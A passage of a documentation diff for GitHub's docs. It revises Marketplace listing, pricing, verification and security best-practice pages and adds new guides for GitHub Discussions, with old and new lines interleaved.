a paid service on {% data variables.product.prodname_marketplace %} must also meet the following requirements: - {% data variables.product.prodname_github_app %}s should have a minimum of 100 installations. - {% data variables.product.prodname_oauth_app %}s should have a minimum of 200 users. - All paid apps must handle {% data variables.product.prodname_marketplace %} purchase events for new purchases, upgrades, downgrades, cancellations, and free trials. For more information, see "[Billing requirements for paid apps](#billing-requirements-for-paid-apps)" below. - Publishing organizations must have a verified domain and must enable two-factor authentication. For more information, see "[Requiring two-factor authentication in your organization](/github/setting-up-and-managing-organizations-and-teams/requiring-two-factor-authentication-in-your-organization.") ### Billing flows When you are ready to publish the app on {% data variables.product.prodname_marketplace %} you must request verification for the listing. Your app must integrate [billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows) using the [{% data variables.product.prodname_marketplace %} webhook event](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/). {% note %} #### Free apps The verification process is open to organizations. {% data reusables.marketplace.app-transfer-to-org-for-verification %} For information on how to do this, see: "[Submitting your listing for publication](/developers/github-marketplace/submitting-your-listing-for-publication#transferring-an-app-to-an-organization-before-you-submit)." {% data reusables.marketplace.free-apps-encouraged %} If you are listing a free app, you'll need to meet these requirements: {% endnote %} - Customers must be able to see that they have a free plan in the billing, profile, or account settings section of the app. - When a customer cancels your app, you must follow the flow for [cancelling plans](/marketplace/integrating-with-the-github-marketplace-api/cancelling-plans/). ### Billing requirements for paid apps #### Paid apps Your app does not need to handle payments but does need to use {% data variables.product.prodname_marketplace %} purchase events to manage new purchases, upgrades, downgrades, cancellations, and free trials. For information about how integrate these events into your app, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." To offer your app as a paid service, you'll need to meet these requirements to list your app on {% data variables.product.prodname_marketplace %}: Using GitHub's billing API allows customers to purchase an app without leaving GitHub and to pay for the service with the payment method already attached to their {% data variables.product.product_name %} account. - To sell your app in {% data variables.product.prodname_marketplace %}, it must use GitHub's billing system. Your app does not need to handle payments but does need to use "[{% data variables.product.prodname_marketplace %} purchase events](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/)" to manage new purchases, upgrades, downgrades, cancellations, and free trials. See "[Billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows)" to learn about how to integrate these events into your app. Using GitHub's billing system allows customers to purchase an app without leaving GitHub and pay for the service with the payment method already attached to their {% data variables.product.product_name %} account. - Apps must support both monthly and annual billing for paid subscriptions purchases. - Listings may offer any combination of free and paid plans. Free plans are optional but encouraged. For more information, see "[Setting a {% data variables.product.prodname_marketplace %} listing's pricing plan](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/)." {% data reusables.marketplace.marketplace-billing-ui-requirements %} 60 content/developers/github-marketplace/security-best-practices-for-apps.md @@ -0,0 +1,60 @@ --- title: Security best practices for apps intro: 'Guidelines for preparing a secure app to share on {% data variables.product.prodname_marketplace %}.' redirect_from: - /apps/marketplace/getting-started/security-review-process/ - /marketplace/getting-started/security-review-process - /developers/github-marketplace/security-review-process-for-submitted-apps shortTitle: Security best practice versions: free-pro-team: '*' --- If you follow these best practices it will help you to provide a secure user experience. ### Authorization, authentication, and access control We recommend creating a GitHub App rather than an OAuth App. {% data reusables.marketplace.github_apps_preferred %}. See "[Differences between GitHub Apps and OAuth Apps](/apps/differences-between-apps/)" for more details. - Apps should use the principle of least privilege and should only request the OAuth scopes and GitHub App permissions that the app needs to perform its intended functionality. For more information, see [Principle of least privilege](https://en.wikipedia.org/wiki/Principle_of_least_privilege) in Wikipedia. - Apps should provide customers with a way to delete their account, without having to email or call a support person. - Apps should not share tokens between different implementations of the app. For example, a desktop app should have a separate token from a web-based app. Individual tokens allow each app to request the access needed for GitHub resources separately. - Design your app with different user roles, depending on the functionality needed by each type of user. For example, a standard user should not have access to admin functionality, and billing managers might not need push access to repository code. - Apps should not share service accounts such as email or database services to manage your SaaS service. - All services used in your app should have unique login and password credentials. - Admin privilege access to the production hosting infrastructure should only be given to engineers and employees with administrative duties. - Apps should not use personal access tokens to authenticate and should authenticate as an [OAuth App](/apps/about-apps/#about-oauth-apps) or a [GitHub App](/apps/about-apps/#about-github-apps): - OAuth Apps should authenticate using an [OAuth token](/apps/building-oauth-apps/authorizing-oauth-apps/). - GitHub Apps should authenticate using either a [JSON Web Token (JWT)](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-a-github-app), [OAuth token](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/), or [installation access token](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation). ### Data protection - Apps should encrypt data transferred over the public internet using HTTPS, with a valid TLS certificate, or SSH for Git. - Apps should store client ID and client secret keys securely. We recommend storing them as [environmental variables](http://en.wikipedia.org/wiki/Environment_variable#Getting_and_setting_environment_variables). - Apps should delete all GitHub user data within 30 days of receiving a request from the user, or within 30 days of the end of the user's legal relationship with GitHub. - Apps should not require the user to provide their GitHub password. - Apps should encrypt tokens, client IDs, and client secrets. ### Logging and monitoring Apps should have logging and monitoring capabilities. App logs should be retained for at least 30 days and archived for at least one year. A security log should include: - Authentication and authorization events - Service configuration changes - Object reads and writes - All user and group permission changes - Elevation of role to admin - Consistent timestamping for each event - Source users, IP addresses, and/or hostnames for all logged actions ### Incident response workflow To provide a secure experience for users, you should have a clear incident response plan in place before listing your app. We recommend having a security and operations incident response team in your company rather than using a third-party vendor. You should have the capability to notify {% data variables.product.product_name %} within 24 hours of a confirmed incident. For an example of an incident response workflow, see the "Data Breach Response Policy" on the [SANS Institute website](https://www.sans.org/information-security-policy/). A short document with clear steps to take in the event of an incident is more valuable than a lengthy policy template. ### Vulnerability management and patching workflow You should conduct regular vulnerability scans of production infrastructure. You should triage the results of vulnerability scans and define a period of time in which you agree to remediate the vulnerability. If you are not ready to set up a full vulnerability management program, it's useful to start by creating a patching process. For guidance in creating a patch management policy, see this TechRepublic article "[Establish a patch management policy](https://www.techrepublic.com/blog/it-security/establish-a-patch-management-policy-87756/)." 94 ...ent/developers/github-marketplace/security-review-process-for-submitted-apps.md This file was deleted. 53 content/developers/github-marketplace/setting-pricing-plans-for-your-listing.md @@ -1,6 +1,6 @@ --- title: Setting pricing plans for your listing intro: 'When [listing your app on {% data variables.product.prodname_marketplace %}](/marketplace/listing-on-github-marketplace/), you can choose to provide your app as a free service or sell your app. If you plan to sell your app, you can create different pricing plans for different feature tiers.' intro: 'When you list your app on {% data variables.product.prodname_marketplace %}, you can choose to provide your app as a free service or sell your app. If you plan to sell your app, you can create different pricing plans for different feature tiers.' redirect_from: - /apps/adding-integrations/managing-pricing-and-payments-for-a-github-marketplace-listing/setting-a-github-marketplace-listing-s-pricing-plan/ - /apps/marketplace/managing-pricing-and-payments-for-a-github-marketplace-listing/setting-a-github-marketplace-listing-s-pricing-plan/ @@ -17,57 +17,52 @@ versions: free-pro-team: '*' --- ### About setting pricing plans If you want to sell an app on {% data variables.product.prodname_marketplace %}, you need to request verification when you publish the listing for your app. During the verification process, an onboarding expert checks the organization's identity and security settings. The onboarding expert will also take the organization through financial onboarding. For more information, see: "[Requirements for listing an app on {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/requirements-for-listing-an-app-on-github-marketplace/)." ### Creating pricing plans To learn about the types of pricing plans that {% data variables.product.prodname_marketplace %} offers, see "[{% data variables.product.prodname_marketplace %} Pricing Plans](/marketplace/selling-your-app/github-marketplace-pricing-plans/)." You'll also find helpful billing guidelines in "[Selling your app](/marketplace/selling-your-app/)." Pricing plans can be in the draft or published state. If you haven't submitted your {% data variables.product.prodname_marketplace %} listing for approval, a published listing will function the same way as draft listings until your app is approved and listed on {% data variables.product.prodname_marketplace %}. Draft listings allow you to create and save new pricing plans without making them available on your {% data variables.product.prodname_marketplace %} listing page. Once you publish the pricing plan, it's available for customers to purchase immediately. You can publish up to 10 pricing plans. {% data reusables.marketplace.app-transfer-to-org-for-verification %} For information on how to do this, see: "[Submitting your listing for publication](/developers/github-marketplace/submitting-your-listing-for-publication#transferring-an-app-to-an-organization-before-you-submit)." To create a pricing plan for your {% data variables.product.prodname_marketplace %} listing, click **Plans and pricing** in the left sidebar of your [{% data variables.product.prodname_marketplace %} listing page](https://github.com/marketplace/manage). If you haven't created a {% data variables.product.prodname_marketplace %} listing yet, read "[Creating a draft {% data variables.product.prodname_marketplace %} listing](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/)" to learn how. When you click **New draft plan**, you'll see a form that allows you to customize your pricing plan. You'll need to configure the following fields to create a pricing plan: {% data variables.product.prodname_marketplace %} offers several different types of pricing plan. For detailed information, see "[Pricing plans for {% data variables.product.prodname_marketplace %}](/developers/github-marketplace/pricing-plans-for-github-marketplace-apps)." #### Plan name ### About saving pricing plans Your pricing plan's name will appear on your {% data variables.product.prodname_marketplace %} app's landing page. You can customize the name of your pricing plan to align to the plan's resources, the size of the company that will use the plan, or anything you'd like. You can save pricing plans in a draft or published state. If you haven't submitted your {% data variables.product.prodname_marketplace %} listing for approval, a published plan will function in the same way as a draft plan until your listing is approved and shown on {% data variables.product.prodname_marketplace %}. Draft plans allow you to create and save new pricing plans without making them available on your {% data variables.product.prodname_marketplace %} listing page. Once you publish a pricing plan on a published listing, it's available for customers to purchase immediately. You can publish up to 10 pricing plans. #### Pricing models For guidelines on billing customers, see "[Billing customers](/developers/github-marketplace/billing-customers)." ##### Free plans {% data reusables.marketplace.free-apps-encouraged %} A free plan still requires you to handle [new purchase](/marketplace/integrating-with-the-github-marketplace-api/handling-new-purchases-and-free-trials/) and [cancellation](/marketplace/integrating-with-the-github-marketplace-api/cancelling-plans/) billing flows. See "[Billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows)" for more details. ##### Flat-rate plans ### Creating pricing plans Flat-rate pricing plans allow you to offer your service to customers for a flat-rate fee. {% data reusables.marketplace.marketplace-pricing-free-trials %} To create a pricing plan for your {% data variables.product.prodname_marketplace %} listing, click **Plans and pricing** in the left sidebar of your [{% data variables.product.prodname_marketplace %} listing page](https://github.com/marketplace/manage). For more information, see "[Creating a draft {% data variables.product.prodname_marketplace %} listing](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/)." You must set a price for both monthly and yearly subscriptions in U.S. Dollars for flat-rate plans. When you click **New draft plan**, you'll see a form that allows you to customize your pricing plan. You'll need to configure the following fields to create a pricing plan: ##### Per-unit plans - **Plan name** - Your pricing plan's name will appear on your {% data variables.product.prodname_marketplace %} app's landing page. You can customize the name of your pricing plan to align with the plan's resources, the size of the company that will use the plan, or anything you'd like. Per-unit pricing allows you to offer your app in units. For example, a unit can be a person, seat, or user. You'll need to provide a name for the unit and set a price for both monthly and yearly subscriptions, in U.S. Dollars. - **Pricing models** - There are three types of pricing plan: free, flat-rate, and per-unit. All plans require you to process new purchase and cancellation events from the marketplace API. In addition, for paid plans: #### Available for - You must set a price for both monthly and yearly subscriptions in US dollars. - Your app must process plan change events. - You must request verification to publish a listing with a paid plan. - {% data reusables.marketplace.marketplace-pricing-free-trials %} {% data variables.product.prodname_marketplace %} pricing plans can apply to **Personal and organization accounts**, **Personal accounts only**, or **Organization accounts only**. For example, if your pricing plan is per-unit and provides multiple seats, you would select **Organization accounts only** because there is no way to assign seats to people in an organization from a personal account. For detailed information, see "[Pricing plans for {% data variables.product.prodname_marketplace %} apps](/developers/github-marketplace/pricing-plans-for-github-marketplace-apps)" and "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." #### Short description - **Available for** - {% data variables.product.prodname_marketplace %} pricing plans can apply to **Personal and organization accounts**, **Personal accounts only**, or **Organization accounts only**. For example, if your pricing plan is per-unit and provides multiple seats, you would select **Organization accounts only** because there is no way to assign seats to people in an organization from a personal account. Write a brief summary of the details of the pricing plan. The description might include the type of customer the plan is intended for or the resources the plan includes. - **Short description** - Write a brief summary of the details of the pricing plan. The description might include the type of customer the plan is intended for or the resources the plan includes. #### Bullets - **Bullets** - You can write up to four bullets that include more details about your pricing plan. The bullets might include the use cases of your app or list more detailed information about the resources or features included in the plan. You can write up to four bullets that include more details about your pricing plan. The bullets might include the use cases of your app or list more detailed information about the resources or features included in the plan. {% data reusables.marketplace.free-plan-note %} ### Changing a {% data variables.product.prodname_marketplace %} listing's pricing plan If a pricing plan for your {% data variables.product.prodname_marketplace %} plan is no longer needed or if you need to adjust pricing details, you can remove it. If a pricing plan for your {% data variables.product.prodname_marketplace %} listing is no longer needed, or if you need to adjust pricing details, you can remove it.  Once you publish a pricing plan for an app already listed in the {% data variables.product.prodname_marketplace %}, you can't make changes to the plan. Instead, you'll need to remove the pricing plan. Customers who already purchased the removed pricing plan will continue to use it until they opt out and move onto a new pricing plan. For more on pricing plans, see "[{% data variables.product.prodname_marketplace %} pricing plans](/marketplace/selling-your-app/github-marketplace-pricing-plans/)." Once you publish a pricing plan for an app that is already listed in {% data variables.product.prodname_marketplace %}, you can't make changes to the plan. Instead, you'll need to remove the pricing plan and create a new plan. Customers who already purchased the removed pricing plan will continue to use it until they opt out and move onto a new pricing plan. For more on pricing plans, see "[{% data variables.product.prodname_marketplace %} pricing plans](/marketplace/selling-your-app/github-marketplace-pricing-plans/)." Once you remove a pricing plan, users won't be able to purchase your app using that plan. Existing users on the removed pricing plan will continue to stay on the plan until they cancel their plan subscription. 37 content/developers/github-marketplace/submitting-your-listing-for-publication.md @@ -0,0 +1,37 @@ --- title: Submitting your listing for publication intro: 'You can submit your listing for the {% data variables.product.prodname_dotcom %} community to use.' redirect_from: - /marketplace/listing-on-github-marketplace/submitting-your-listing-for-review - /developers/github-marketplace/submitting-your-listing-for-review versions: free-pro-team: '*' --- Once you've completed the listing for your app, you'll see two buttons that allow you to request publication of the listing with or without verification. The **Request** button for "Publish without verification" is disabled if you have published any paid pricing plans in the listing.  {% data reusables.marketplace.launch-with-free %} After you submit your listing for review, an onboarding expert will reach out to you with additional information. For an overview of the process for creating and submitting a listing, see "[About {% data variables.product.prodname_marketplace %}](/developers/github-marketplace/about-github-marketplace#publishing-an-app-to-github-marketplace)." ### Prerequisites for publishing with verification Before you request verification of your listing, you'll need to integrate the {% data variables.product.prodname_marketplace %} billing flows and webhook into your app. For more information, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." If you've met the requirements for listing and you've integrated with the {% data variables.product.prodname_marketplace %} API, go ahead and submit your listing. For more information, see "[Requirements for listing an app](/developers/github-marketplace/requirements-for-listing-an-app)." {% data reusables.marketplace.app-transfer-to-org-for-verification %} For information on how to do this, see: "[Transferring an app to an organization before you submit](#transferring-an-app-to-an-organization-before-you-submit)" below. ### Transferring an app to an organization before you submit You cannot sell an app that's owned by a user account. You need to transfer the app to an organization that is already a verified creator, or that can request verification for a listing for the app. For details, see: 1. "[Creating an organization from scratch](/github/setting-up-and-managing-organizations-and-teams/creating-a-new-organization-from-scratch)" 1. "[Transferring ownership of a GitHub App](/developers/apps/transferring-ownership-of-a-github-app)" or "[Transferring ownership of an OAuth App](/developers/apps/transferring-ownership-of-an-oauth-app)" 22 content/developers/github-marketplace/submitting-your-listing-for-review.md This file was deleted. 4 content/developers/github-marketplace/testing-your-app.md @@ -1,6 +1,6 @@ --- title: Testing your app intro: 'GitHub recommends testing your app with APIs and webhooks before submitting your listing to {% data variables.product.prodname_marketplace %} so you can provide an ideal experience for customers. Before the {% data variables.product.prodname_marketplace %} onboarding team approves your app, it must adequately handle the [billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows).' intro: 'GitHub recommends testing your app with APIs and webhooks before submitting your listing to {% data variables.product.prodname_marketplace %} so you can provide an ideal experience for customers. Before an onboarding expert approves your app, it must adequately handle the billing flows.' redirect_from: - /apps/marketplace/testing-apps-apis-and-webhooks/ - /apps/marketplace/integrating-with-the-github-marketplace-api/testing-github-marketplace-apps/ @@ -13,7 +13,7 @@ versions: ### Testing apps You can use a [draft {% data variables.product.prodname_marketplace %} listing](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/) to simulate each of the [billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows). A listing in the draft state means that it has not been submitted for approval. Any purchases you make using a draft {% data variables.product.prodname_marketplace %} listing will _not_ create real transactions, and GitHub will not charge your credit card. You can use a draft {% data variables.product.prodname_marketplace %} listing to simulate each of the billing flows. A listing in the draft state means that it has not been submitted for approval. Any purchases you make using a draft {% data variables.product.prodname_marketplace %} listing will _not_ create real transactions, and GitHub will not charge your credit card. For more information, see "[Drafting a listing for your app](/developers/github-marketplace/drafting-a-listing-for-your-app)" and "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." #### Using a development app with a draft listing to test changes 2 .../developers/github-marketplace/webhook-events-for-the-github-marketplace-api.md @@ -1,6 +1,6 @@ --- title: Webhook events for the GitHub Marketplace API intro: 'A {% data variables.product.prodname_marketplace %} app receives information about changes to a user''s plan from the Marketplace purchase event webhook. A Marketplace purchase event is triggered when a user purchases, cancels, or changes their payment plan. For details on how to respond to each of these types of events, see "[Billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows)."' intro: 'A {% data variables.product.prodname_marketplace %} app receives information about changes to a user''s plan from the Marketplace purchase event webhook. A Marketplace purchase event is triggered when a user purchases, cancels, or changes their payment plan.' redirect_from: - /apps/marketplace/setting-up-github-marketplace-webhooks/about-webhook-payloads-for-a-github-marketplace-listing/ - /apps/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/ 4 content/developers/webhooks-and-events/webhook-events-and-payloads.md @@ -445,7 +445,7 @@ Key | Type | Description #### Webhook payload object {% data reusables.webhooks.installation_properties %} {% data reusables.webhooks.app_desc %} {% data reusables.webhooks.app_always_desc %} {% data reusables.webhooks.sender_desc %} #### Webhook payload example @@ -469,7 +469,7 @@ Key | Type | Description #### Webhook payload object {% data reusables.webhooks.installation_repositories_properties %} {% data reusables.webhooks.app_desc %} {% data reusables.webhooks.app_always_desc %} {% data reusables.webhooks.sender_desc %} #### Webhook payload example 54 ...ssions/collaborating-with-your-community-using-discussions/about-discussions.md @@ -0,0 +1,54 @@ --- title: About discussions intro: Use discussions to ask and answer questions, share information, make announcements, and conduct or participate in a conversation about a project on {% data variables.product.product_name %}. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### About discussions With {% data variables.product.prodname_discussions %}, the community for your project can create and participate in conversations within the project's repository. Discussions empower a project's maintainers, contributors, and visitors to gather and accomplish the following goals in a central location, without third-party tools. - Share announcements and information, gather feedback, plan, and make decisions - Ask questions, discuss and answer the questions, and mark the discussions as answered - Foster an inviting atmosphere for visitors and contributors to discuss goals, development, administration, and workflows  You don't need to close a discussion like you close an issue or a pull request. If a repository administrator or project maintainer enables discussions for a repository, anyone who visits the repository can create and participate in discussions for the repository. Repository administrators and project maintainers can manage discussions and discussion categories in a repository, and pin discussions to increase the visibility of the discussion. Moderators and collaborators can mark comments as answers, lock discussions, and convert issues to discussions. For more information, see "[Repository permission levels for an organization](/github/setting-up-and-managing-organizations-and-teams/repository-permission-levels-for-an-organization)." For more information about management of discussions for your repository, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository)." ### About categories and formats for discussions {% data reusables.discussions.you-can-categorize-discussions %} {% data reusables.discussions.about-categories-and-formats %} {% data reusables.discussions.repository-category-limit %} For discussions with a question/answer format, an individual comment within the discussion can be marked as the discussion's answer. {% data reusables.discussions.github-recognizes-members %} For more information, see "[Managing categories for discussions in your repository](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository)." ### Best practices for discussions As a community member or maintainer, start a discussion to ask a question or discuss information that affects the community. For more information, see "[Collaborating with maintainers using discussions](/discussions/collaborating-with-your-community-using-discussions/collaborating-with-maintainers-using-discussions)." Participate in a discussion to ask and answer questions, provide feedback, and engage with the project's community. For more information, see "[Participating in a discussion](/discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion)." You can spotlight discussions that contain important, useful, or exemplary conversations among members in the community. For more information, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository#pinning-a-discussion)." {% data reusables.discussions.you-can-convert-an-issue %} For more information, see "[Moderating discussions in your repository](/discussions/managing-discussions-for-your-community/moderating-discussions#converting-an-issue-to-a-discussion)." ### Sharing feedback You can share your feedback about {% data variables.product.prodname_discussions %} with {% data variables.product.company_short %}. To join the conversation, see [`github/feedback`](https://github.com/github/feedback/discussions?discussions_q=category%3A%22Discussions+Feedback%22). ### Further reading - "[About writing and formatting on {% data variables.product.prodname_dotcom %}](/github/writing-on-github/about-writing-and-formatting-on-github)" - "[Searching discussions](/github/searching-for-information-on-github/searching-discussions)" - "[About notifications](/github/managing-subscriptions-and-notifications-on-github/about-notifications)" - "[Moderating comments and conversations](/github/building-a-strong-community/moderating-comments-and-conversations)" - "[Maintaining your safety on {% data variables.product.prodname_dotcom %}](/github/building-a-strong-community/maintaining-your-safety-on-github)" 50 ...community-using-discussions/collaborating-with-maintainers-using-discussions.md @@ -0,0 +1,50 @@ --- title: Collaborating with maintainers using discussions shortTitle: Collaborating with maintainers intro: You can contribute to the goals, plans, health, and community for a project on {% data variables.product.product_name %} by communicating with the maintainers of the project in a discussion. permissions: People with read permissions to a repository can start and participate in discussions in the repository. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### About collaboration with maintainers using discussions {% data reusables.discussions.about-discussions %} If you use or contribute to a project, you can start a discussion to make suggestions and engage with maintainers and community members about your plans, questions, ideas, and feedback. For more information, see "[‎About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)." {% data reusables.discussions.about-categories-and-formats %} Repository administrators and project maintainers can delete a discussion. For more information, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository#deleting-a-discussion)." {% data reusables.discussions.github-recognizes-members %} These members appear in a list of the most helpful contributors to the project's discussions. As your project grows, you can grant higher access permissions to active members of your community. For more information, see "[Granting higher permissions to top contributors](/discussions/guides/granting-higher-permissions-to-top-contributors)"  For more information about participation in discussions, see "[Participating in a discussion](/discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion)." ### Prerequisites To collaborate with maintainers using discussions, a repository administrator or project maintainer must enable discussions for the repository. For more information, see "[Enabling or disabling discussions for a repository](/github/administering-a-repository/enabling-or-disabling-github-discussions-for-a-repository)." ### Starting a discussion {% data reusables.discussions.starting-a-discussion %} ### Filtering the list of discussions You can search for discussions and filter the list of discussions in a repository. For more information, see "[Searching discussions](/github/searching-for-information-on-github/searching-discussions)." {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} 1. In the **Search all discussions** field, type a search query. Optionally, to the right of the search field, click a button to further filter the results.  1. In the list of discussions, click the discussion you want to view.  ### Converting an issue to a discussion {% data reusables.discussions.you-can-convert-an-issue %} For more information, see "[Moderating discussions in your repository](/discussions/managing-discussions-for-your-community/moderating-discussions#converting-an-issue-to-a-discussion#converting-an-issue-to-a-discussion)." ### Further reading - "[About writing and formatting on {% data variables.product.prodname_dotcom %}](/github/writing-on-github/about-writing-and-formatting-on-github)" - "[Maintaining your safety on {% data variables.product.prodname_dotcom %}](/github/building-a-strong-community/maintaining-your-safety-on-github)" 14 content/discussions/collaborating-with-your-community-using-discussions/index.md @@ -0,0 +1,14 @@ --- title: Collaborating with your community using discussions shortTitle: Collaborating using discussions intro: Gather and discuss your project with community members and other maintainers. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} {% link_in_list /about-discussions %} {% link_in_list /participating-in-a-discussion %} {% link_in_list /collaborating-with-maintainers-using-discussions %} 31 ...borating-with-your-community-using-discussions/participating-in-a-discussion.md @@ -0,0 +1,31 @@ --- title: Participating in a discussion intro: You can converse with the community and maintainers in a forum within the repository for a project on {% data variables.product.product_name %}. permissions: People with read permissions to a repository can participate in discussions in the repository. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### About participation in a discussion {% data reusables.discussions.about-discussions %} For more information, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)." In addition to starting or viewing a discussion, you can comment in response to the original comment from the author of the discussion. You can also create a comment thread by replying to an individual comment that another community member made within the discussion, and react to comments with emoji. For more information about reactions, see "[About conversations on {% data variables.product.prodname_dotcom %}](/github/collaborating-with-issues-and-pull-requests/about-conversations-on-github#reacting-to-ideas-in-comments)." You can block users and report disruptive content to maintain a safe and pleasant environment for yourself on {% data variables.product.product_name %}. For more information, see "[Maintaining your safety on {% data variables.product.prodname_dotcom %}](/github/building-a-strong-community/maintaining-your-safety-on-github)." ### Prerequisites Discussions must be enabled for the repository for you to participate in a discussion in the repository. For more information, see "[Enabling or disabling discussions for a repository](/github/administering-a-repository/enabling-or-disabling-github-discussions-for-a-repository)." ### Creating a discussion {% data reusables.discussions.starting-a-discussion %} ### Marking a comment as an answer Discussion authors and users with the triage role or greater for a repository can mark a comment as the answer to a discussion in the repository. {% data reusables.discussions.marking-a-comment-as-an-answer %} 49 content/discussions/guides/best-practices-for-community-conversations-on-github.md @@ -0,0 +1,49 @@ --- title: Best practices for community conversations on GitHub shortTitle: Best practices for community conversations intro: 'You can use discussions to brainstorm with your team, and eventually move the conversation to a discussion when you are ready to scope out the work.' versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### Community conversations in {% data variables.product.prodname_discussions %} Since {% data variables.product.prodname_discussions %} is an open forum, there is an opportunity to bring non-code collaboration into a project's repository and gather diverse feedback and ideas more quickly. You can help drive a productive conversation by: - Asking pointed questions and follow-up questions to garner specific feedback - Capture a diverse experience and distill it down to main points - Open an issue to take action based on the conversation, where applicable For more information about opening an issue and cross-referencing a discussion, see "[Opening an issue from a comment](/github/managing-your-work-on-github/opening-an-issue-from-a-comment)." ### Learning about conversations on GitHub You can create and participate in discussions, issues, and pull requests, depending on the type of conversation you'd like to have. You can use {% data variables.product.prodname_discussions %} to discuss big picture ideas, brainstorm, and spike out a project's specific details before committing it to an issue, which can then be scoped. Discussions are useful for teams if: - You are in the discovery phase of a project and are still learning which director your team wants to go in - You want to collect feedback from a wider community about a project - You want to keep bug fixes, feature requests, and general conversations separate Issues are useful for discussing specific details of a project such as bug reports and planned improvements. For more information, see "[About issues](/articles/about-issues)." Pull requests allow you to comment directly on proposed changes. For more information, see "[About pull requests](/articles/about-pull-requests)" and "[Commenting on a pull request](/articles/commenting-on-a-pull-request)." {% data reusables.organizations.team-discussions-purpose %} For more information, see "[About team discussions](/articles/about-team-discussions)." ### Following contributing guidelines Before you open a discussion, check to see if the repository has contributing guidelines. The CONTRIBUTING file includes information about how the repository maintainer would like you to contribute ideas to the project. For more information, see "[Setting up your project for healthy contributions](/github/building-a-strong-community/setting-up-your-project-for-healthy-contributions)." ### Next steps To continue learning about {% data variables.product.prodname_discussions %} and quickly create a discussion for your community, see "[Quickstart for {% data variables.product.prodname_discussions %}](/discussions/quickstart)." ### Further reading - "[Setting up your project for healthy contributions](/articles/setting-up-your-project-for-healthy-contributions)" - "[Using templates to encourage useful issues and pull requests](/github/building-a-strong-community/using-templates-to-encourage-useful-issues-and-pull-requests)" - "[Moderating comments and conversations](/articles/moderating-comments-and-conversations)" - "[Writing on {% data variables.product.prodname_dotcom %}](/articles/writing-on-github)" 21 content/discussions/guides/finding-discussions-across-multiple-repositories.md @@ -0,0 +1,21 @@ --- title: Finding discussions across multiple repositories intro: 'You can easily access every discussion you''ve created or participated in across multiple repositories.' versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### Finding discussions 1. Navigate to {% data variables.product.prodname_dotcom_the_website %}. 1. In the top-right corner of {% data variables.product.prodname_dotcom_the_website %}, click your profile photo, then click **Your enterprises**.  1. Toggle between **Created** and **Commented** to see the discussions you've created or participated in. ### Further reading - "[Searching discussions](/github/searching-for-information-on-github/searching-discussions)" - "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)" - "[Managing discussions for your community](/discussions/managing-discussions-for-your-community)" 32 content/discussions/guides/granting-higher-permissions-to-top-contributors.md @@ -0,0 +1,32 @@ --- title: Granting higher permissions to top contributors intro: 'Repository administrators can promote any community member to a moderator and maintainer.' versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### Introduction The most helpful contributors for the past 30 days are highlighted on the {% data variables.product.prodname_discussions %} dashboard, based on how many comments were marked as answers by other community members. Helpful contributors can help drive a healthy community and moderate and guide the community space in addition to maintainers. ### Step 1: Audit your discussions top contributors {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} 1. Compare the list of contributors with their access permissions to see who qualifies to moderate the discussion. ### Step 2: Review permission levels for discussions People with triage permissions for a repository can help moderate a project's discussions by marking comments as answers, locking discussions that are not longer useful or are damaging to the community, and converting issues to discussions when an idea is still in the early stages of development. For more information, see "[Moderating discussions](/discussions/managing-discussions-for-your-community/moderating-discussions)." For more information about repository permission levels and {% data variables.product.prodname_discussions %}, see "[Repository permissions levels for an organization](/github/setting-up-and-managing-organizations-and-teams/repository-permission-levels-for-an-organization)." ### Step 3: Change permissions levels for top contributors You can change a contributor's permission levels to give them more access to the tooling they need to moderate GitHub Discussions. To change a person's or team's permission levels, see "[Managing teams and people with access to your repository](/github/administering-a-repository/managing-teams-and-people-with-access-to-your-repository)." ### Step 4: Notify community members of elevated access When you change a collaborators permission level, they will receive a notification for the change. 29 content/discussions/guides/index.md @@ -0,0 +1,29 @@ --- title: Discussions guides shortTitle: Guides intro: 'Discover pathways to get started or learn best practices for participating or monitoring your community''s discussions.' versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### Getting started with discussions {% link_in_list /about-discussions %} {% 